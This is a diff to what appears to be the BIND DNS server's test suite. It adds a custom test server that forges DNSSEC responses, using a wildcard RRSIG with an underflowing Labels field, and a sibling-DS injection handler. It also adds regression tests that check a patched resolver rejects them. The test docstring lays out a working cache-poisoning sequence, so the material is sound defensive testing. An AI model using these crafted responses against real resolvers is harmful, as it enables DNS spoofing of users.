# See the COPYRIGHT file distributed with this work for additional
# information regarding copyright ownership.
-"""
-Custom authoritative server for the sibling-ds test.
+"""Custom authoritative server (ans4) for the dnssec_py suite.
-When returning a referral for child.sibling-ds, this server injects a DS
-record for sibling.sibling-ds into the authority section. The resolver
-should reject this because the DS owner name does not match the
-delegation (NS) name.
+Per-domain response handlers live one-per-module in sibling *_ans.py files
+(e.g. rrsig_labels_signer_ans.py); this loader installs each into a single
+AsyncDnsServer. Keeping each domain's crafted-response logic in its own
+file bounds its scope as the server accrues unrelated domains.
"""
-from collections.abc import AsyncGenerator
-
-import dns.rdatatype
-import dns.rrset
-
-from isctest.asyncserver import (
- AsyncDnsServer,
- DnsResponseSend,
- DomainHandler,
- QueryContext,
- ResponseAction,
-)
-
-
-class SiblingDsInjectionHandler(DomainHandler):
- """Inject a DS record for sibling.sibling-ds into child.sibling-ds referrals."""
-
- domains = ["child.sibling-ds."]
-
- async def get_responses(
- self, qctx: QueryContext
- ) -> AsyncGenerator[ResponseAction, None]:
- # The default zone-data response already has the NS delegation for
- # child.sibling-ds. and glue. Add a DS record for the *sibling* zone
- # (wrong name for this referral).
- sibling_ds = dns.rrset.from_text(
- "sibling.sibling-ds.",
- 300,
- qctx.qclass,
- dns.rdatatype.DS,
- "12345 8 2 "
- "49FD46E6C4B45C55D4AC69CBD3CD34AC1AFE51DE7B2B585ABCDEABCDEABCDEAB",
- )
- qctx.response.authority.append(sibling_ds)
- yield DnsResponseSend(qctx.response)
+from dnssec_py.ans4 import rrsig_labels_signer_ans, sibling_ds_ans
+from isctest.asyncserver import AsyncDnsServer
def main() -> None:
server = AsyncDnsServer()
- server.install_response_handler(SiblingDsInjectionHandler())
+
+ server.install_response_handler(sibling_ds_ans.SiblingDsInjectionHandler())
+ if rrsig_labels_signer_ans.PEM_PATH.exists():
+ server.install_response_handler(rrsig_labels_signer_ans.AttackerZoneHandler())
+
server.run()
--- /dev/null
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+"""Handler for the attacker.rrsig-labels-signer. zone.
+
+Serves crafted DNSSEC responses that exercise the RRSIG Labels underflow
+check: an A query for any name under attacker.rrsig-labels-signer. returns:
+
+ ANSWER:
+ <qname> A 192.0.2.1
+ <qname> RRSIG A 13 1 ... (Labels=1, signed over *.rrsig-labels-signer.)
+
+ AUTHORITY:
+ <hash-1>.attacker.rrsig-labels-signer. NSEC3 ... (covers
+ hash(attacker.rrsig-labels-signer.) — next-closer proof for BIND)
+
+The RRSIG has Labels=1 because the canonical signing input is
+*.rrsig-labels-signer. A 192.0.2.1. The signer name is
+attacker.rrsig-labels-signer. (3 non-root labels), so Labels(1) is less
+than signer_labels(3) - 1 = 2 — the condition the fix adds to
+dns_dnssec_verify() in lib/dns/dnssec.c.
+
+Key material is written by bootstrap() in tests_rrsig_labels_signer.py to
+attacker_rrsig_labels_signer.pem in this directory before any server starts.
+"""
+
+from collections.abc import AsyncGenerator
+from pathlib import Path
+
+import base64
+import hashlib
+import logging
+import time
+
+from cryptography.hazmat.primitives import serialization
+from dns.rdtypes.dnskeybase import Flag
+
+import dns.dnssec
+import dns.name
+import dns.rcode
+import dns.rdata
+import dns.rdataclass
+import dns.rdatatype
+import dns.rdtypes.ANY.NSEC3
+import dns.rrset
+
+from isctest.asyncserver import (
+ DnsResponseSend,
+ DomainHandler,
+ QueryContext,
+ ResponseAction,
+)
+
+ZONE_NAME = "attacker.rrsig-labels-signer."
+PARENT_ZONE_NAME = "rrsig-labels-signer."
+POISON_IP = "192.0.2.1"
+TTL = 300
+PEM_PATH = Path("attacker_rrsig_labels_signer.pem")
+
+
+def _to_b32hex_lower(data: bytes) -> str:
+ """Base32hex-encode bytes, lowercase, no padding (NSEC3 owner-name form)."""
+ return base64.b32hexencode(data).decode().rstrip("=").lower()
+
+
+def _nsec3_sha1(name: str) -> bytes:
+ """SHA-1 NSEC3 hash of name (0 iterations, empty salt)."""
+ wire = dns.name.from_text(name).canonicalize().to_wire()
+ return hashlib.sha1(wire).digest()
+
+
+def _inc_bytes(b: bytes) -> bytes:
+ out = bytearray(b)
+ for i in range(len(out) - 1, -1, -1):
+ out[i] += 1
+ if out[i] != 0:
+ break
+ return bytes(out)
+
+
+def _dec_bytes(b: bytes) -> bytes:
+ out = bytearray(b)
+ for i in range(len(out) - 1, -1, -1):
+ if out[i] > 0:
+ out[i] -= 1
+ break
+ out[i] = 0xFF
+ return bytes(out)
+
+
+def _type_bitmap(*types: int) -> bytes:
+ """Build NSEC / NSEC3 type bitmap bytes (window 0, types 0–255)."""
+ size = (max(types) >> 3) + 1
+ bm = bytearray(size)
+ for t in types:
+ bm[t >> 3] |= 1 << (7 - (t & 7))
+ return bytes(bm)
+
+
+class AttackerZoneHandler(DomainHandler):
+ """Serve attacker.rrsig-labels-signer. with crafted wildcard RRSIG."""
+
+ domains = [ZONE_NAME]
+
+ def __init__(self) -> None:
+ super().__init__()
+ self._zone = dns.name.from_text(ZONE_NAME)
+
+ priv = serialization.load_pem_private_key(PEM_PATH.read_bytes(), password=None)
+
+ self._dnskey = dns.dnssec.make_dnskey(
+ priv.public_key(),
+ dns.dnssec.Algorithm.ECDSAP256SHA256,
+ flags=Flag.ZONE | Flag.SEP,
+ )
+ logging.info("attacker DNSKEY keytag: %d", dns.dnssec.key_id(self._dnskey))
+
+ now = int(time.time())
+ inception = now - 3600
+ expiration = now + 14 * 86400
+
+ # DNSKEY RRset and self-signature
+ self._dnskey_rrset = dns.rrset.RRset(
+ self._zone, dns.rdataclass.IN, dns.rdatatype.DNSKEY
+ )
+ self._dnskey_rrset.update_ttl(TTL)
+ self._dnskey_rrset.add(self._dnskey)
+ self._dnskey_rrsig = dns.dnssec.sign(
+ self._dnskey_rrset,
+ priv,
+ signer=self._zone,
+ dnskey=self._dnskey,
+ inception=inception,
+ expiration=expiration,
+ lifetime=None,
+ deterministic=False, # for OpenSSL<3.2.0 compat
+ )
+
+ # Crafted RRSIG for *.rrsig-labels-signer. A → Labels=1
+ wild_rrset = dns.rrset.RRset(
+ dns.name.from_text(f"*.{PARENT_ZONE_NAME}"),
+ dns.rdataclass.IN,
+ dns.rdatatype.A,
+ )
+ wild_rrset.update_ttl(TTL)
+ wild_rrset.add(
+ dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.A, POISON_IP)
+ )
+ self._crafted_a_rrsig = dns.dnssec.sign(
+ wild_rrset,
+ priv,
+ signer=self._zone,
+ dnskey=self._dnskey,
+ inception=inception,
+ expiration=expiration,
+ lifetime=None,
+ deterministic=False, # for OpenSSL<3.2.0 compat
+ )
+ logging.info(
+ "crafted A RRSIG labels=%d (expected 1)", self._crafted_a_rrsig.labels
+ )
+
+ # NSEC3 covering hash(attacker.rrsig-labels-signer.) for the
+ # NEEDNOQNAME proof (validator.c:findnsec3proofs).
+ h = _nsec3_sha1(ZONE_NAME)
+ h_owner = _dec_bytes(h) # owner hash just below target
+ h_next = _inc_bytes(h) # next hash just above target
+
+ owner_name = dns.name.from_text(f"{_to_b32hex_lower(h_owner)}.{ZONE_NAME}")
+ nsec3_rdata = dns.rdtypes.ANY.NSEC3.NSEC3(
+ rdclass=dns.rdataclass.IN,
+ rdtype=dns.rdatatype.NSEC3,
+ algorithm=1, # SHA-1
+ flags=0,
+ iterations=0,
+ salt=b"",
+ next=h_next,
+ windows=[(0, _type_bitmap(dns.rdatatype.A, dns.rdatatype.RRSIG))],
+ )
+ self._nsec3_rrset = dns.rrset.RRset(
+ owner_name, dns.rdataclass.IN, dns.rdatatype.NSEC3
+ )
+ self._nsec3_rrset.update_ttl(TTL)
+ self._nsec3_rrset.add(nsec3_rdata)
+
+ nsec3_rrsig = dns.dnssec.sign(
+ self._nsec3_rrset,
+ priv,
+ signer=self._zone,
+ dnskey=self._dnskey,
+ inception=inception,
+ expiration=expiration,
+ lifetime=None,
+ deterministic=False, # for OpenSSL<3.2.0 compat
+ )
+ self._nsec3_rrsig_rrset = dns.rrset.RRset(
+ owner_name,
+ dns.rdataclass.IN,
+ dns.rdatatype.RRSIG,
+ dns.rdatatype.NSEC3,
+ )
+ self._nsec3_rrsig_rrset.update_ttl(TTL)
+ self._nsec3_rrsig_rrset.add(nsec3_rrsig)
+
+ async def get_responses(
+ self, qctx: QueryContext
+ ) -> AsyncGenerator[ResponseAction, None]:
+ qtype = qctx.qtype
+ qname = qctx.qname
+ response = qctx.prepare_new_response(with_zone_data=False)
+
+ if qtype == dns.rdatatype.DNSKEY and qname == self._zone:
+ response.set_rcode(dns.rcode.NOERROR)
+ dnskey_rrsig_rrset = dns.rrset.RRset(
+ self._zone,
+ dns.rdataclass.IN,
+ dns.rdatatype.RRSIG,
+ dns.rdatatype.DNSKEY,
+ )
+ dnskey_rrsig_rrset.update_ttl(TTL)
+ dnskey_rrsig_rrset.add(self._dnskey_rrsig)
+ response.answer.extend([self._dnskey_rrset, dnskey_rrsig_rrset])
+ yield DnsResponseSend(response, authoritative=True)
+
+ elif qtype == dns.rdatatype.A and qname.is_subdomain(self._zone):
+ response.set_rcode(dns.rcode.NOERROR)
+ a_rrset = dns.rrset.RRset(qname, dns.rdataclass.IN, dns.rdatatype.A)
+ a_rrset.update_ttl(TTL)
+ a_rrset.add(
+ dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.A, POISON_IP)
+ )
+ a_rrsig_rrset = dns.rrset.RRset(
+ qname,
+ dns.rdataclass.IN,
+ dns.rdatatype.RRSIG,
+ dns.rdatatype.A,
+ )
+ a_rrsig_rrset.update_ttl(TTL)
+ a_rrsig_rrset.add(self._crafted_a_rrsig)
+ response.answer.extend([a_rrset, a_rrsig_rrset])
+ response.authority.extend([self._nsec3_rrset, self._nsec3_rrsig_rrset])
+ yield DnsResponseSend(response, authoritative=True)
+
+ else:
+ # REFUSED for anything we don't handle
+ yield DnsResponseSend(response)
--- /dev/null
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+"""Handler for the sibling-ds. zone.
+
+When returning a referral for child.sibling-ds, this server injects a DS
+record for sibling.sibling-ds into the authority section. The resolver
+should reject this because the DS owner name does not match the
+delegation (NS) name.
+"""
+
+from collections.abc import AsyncGenerator
+
+import dns.rdatatype
+import dns.rrset
+
+from isctest.asyncserver import (
+ DnsResponseSend,
+ DomainHandler,
+ QueryContext,
+ ResponseAction,
+)
+
+
+class SiblingDsInjectionHandler(DomainHandler):
+ """Inject a DS record for sibling.sibling-ds into child.sibling-ds referrals."""
+
+ domains = ["child.sibling-ds."]
+
+ async def get_responses(
+ self, qctx: QueryContext
+ ) -> AsyncGenerator[ResponseAction, None]:
+ # The default zone-data response already has the NS delegation for
+ # child.sibling-ds. and glue. Add a DS record for the *sibling* zone
+ # (wrong name for this referral).
+ sibling_ds = dns.rrset.from_text(
+ "sibling.sibling-ds.",
+ 300,
+ qctx.qclass,
+ dns.rdatatype.DS,
+ "12345 8 2 "
+ "49FD46E6C4B45C55D4AC69CBD3CD34AC1AFE51DE7B2B585ABCDEABCDEABCDEAB",
+ )
+ qctx.response.authority.append(sibling_ds)
+ yield DnsResponseSend(qctx.response)
[
"ans*/*.db",
"ans*/*.run",
+ "ans*/*.pem",
"ns*/dsset-*",
"ns*/trusted.conf",
"ns*/zones/*.db",
--- /dev/null
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+"""Tests for RRSIG Labels vs signer name label count validation.
+
+Zone hierarchy used by this module:
+ . (ns1) signed
+ rrsig-labels-signer. (ns2) signed, NSEC
+ attacker.rrsig-labels-signer. (ans4) custom auth (crafted responses)
+ unsigned.rrsig-labels-signer. (ns2) insecure delegation (NSEC seed)
+ ns9: recursive resolver, synth-from-dnssec defaults to yes
+"""
+
+from dnssec_py.common import DNSSEC_PY_MARK
+from isctest.template import NS2, Nameserver, zones
+from isctest.zone import PythonZoneKey, Zone, configure_root
+
+import isctest
+import isctest.check
+import isctest.query
+
+pytestmark = DNSSEC_PY_MARK
+
+ANS4 = Nameserver("ans4")
+
+
+def bootstrap():
+ """Set up the four-zone hierarchy and generate attacker key material.
+
+ Writes attacker_rrsig_labels_signer.pem to ans4/ so the custom server can read it
+ at startup. Attaches a PythonZoneKey to the attacker Zone so that
+ parent.configure() derives the DS and passes it to dnssec-signzone.
+ """
+ attacker = Zone("attacker.rrsig-labels-signer", ANS4, signed=False)
+ attacker_key = PythonZoneKey.generate(attacker)
+ attacker_key.write_private_key_pem("ans4/attacker_rrsig_labels_signer.pem")
+ attacker.keys = [attacker_key]
+
+ unsigned = Zone("unsigned.rrsig-labels-signer", NS2, signed=False)
+ unsigned.render()
+
+ parent = Zone("rrsig-labels-signer", NS2, signed=True)
+ parent.delegations = [attacker, unsigned]
+ parent.configure()
+
+ root = configure_root([parent])
+
+ return {
+ "trust_anchors": root.trust_anchors(),
+ "zones": zones([root, parent, unsigned]),
+ }
+
+
+def test_rrsig_labels_underflow_rejected(ns9):
+ """Fixed BIND rejects RRSIG where Labels < signer_labels - 1.
+
+ Q1: www.attacker.rrsig-labels-signer./A DO
+ The attacker returns A 192.0.2.1 + RRSIG(Labels=1, signer=attacker.rrsig-labels-signer.)
+ The fix returns DNS_R_SIGINVALID → resolver returns SERVFAIL.
+ Without the fix, the resolver returns NOERROR+AD (accepting the forgery).
+
+ This test FAILS on unfixed BIND (no DNS_R_SIGINVALID check).
+ """
+ msg = isctest.query.create("www.attacker.rrsig-labels-signer", "A")
+ res = isctest.query.udp(msg, ns9.ip)
+ isctest.check.servfail(res)
+
+
+def test_rrsig_labels_no_wildcard_cache_poison(ns9):
+ """Labels underflow must not enable synth-from-dnssec cache poisoning.
+
+ The labels-underflow bug lets an attacker who controls
+ attacker.rrsig-labels-signer. cache a wildcard *.rrsig-labels-signer.
+ (one label *above* its own zone) as SECURE. RFC 8198 synth-from-dnssec
+ will then synthesise that forged wildcard onto any non-existent name in
+ the parent zone — but only if the resolver can prove the victim name's
+ non-existence *from cache* (otherwise it queries the authority and gets
+ an honest NXDOMAIN whose apex NSEC also proves the wildcard absent,
+ which defeats the attack).
+
+ The three queries arrange exactly that cached state:
+
+ Q1 poison www.attacker.rrsig-labels-signer./A
+ attacker returns A 192.0.2.1 + RRSIG(Labels=1, signer=
+ attacker.rrsig-labels-signer.). Unfixed BIND validates it
+ via DNS_R_FROMWILDCARD and caches *.rrsig-labels-signer. A.
+
+ Q2 seed seed.unsigned.rrsig-labels-signer./A
+ unsigned is an insecure delegation, so the resolver fetches
+ unsigned.rrsig-labels-signer./DS and caches the denial NSEC
+ "unsigned NSEC <apex>". "unsigned" sorts last among the
+ parent's names, so that NSEC covers the whole gap up to the
+ apex (including www) — yet, unlike a real NXDOMAIN, it does
+ not carry the apex NSEC proving "*.rrsig-labels-signer." is
+ absent. The poison wildcard is therefore never contradicted.
+
+ victim www.rrsig-labels-signer./A
+ unfixed BIND has a covering NSEC and the poison wildcard in
+ cache, so synth-from-dnssec answers NOERROR 192.0.2.1.
+ Fixed BIND never cached the wildcard, so www is NXDOMAIN.
+
+ This test FAILS on unfixed BIND (the victim is answered with 192.0.2.1).
+ """
+ isctest.query.udp(
+ isctest.query.create("www.attacker.rrsig-labels-signer", "A"), ns9.ip
+ )
+ isctest.query.udp(
+ isctest.query.create("seed.unsigned.rrsig-labels-signer", "A"), ns9.ip
+ )
+
+ res = isctest.query.udp(
+ isctest.query.create("www.rrsig-labels-signer", "A"), ns9.ip
+ )
+ assert not any(
+ "192.0.2.1" in str(rr) for rr in res.answer
+ ), f"cache poisoned: synth-from-dnssec served the forged wildcard:\n{res}"
+ isctest.check.nxdomain(res)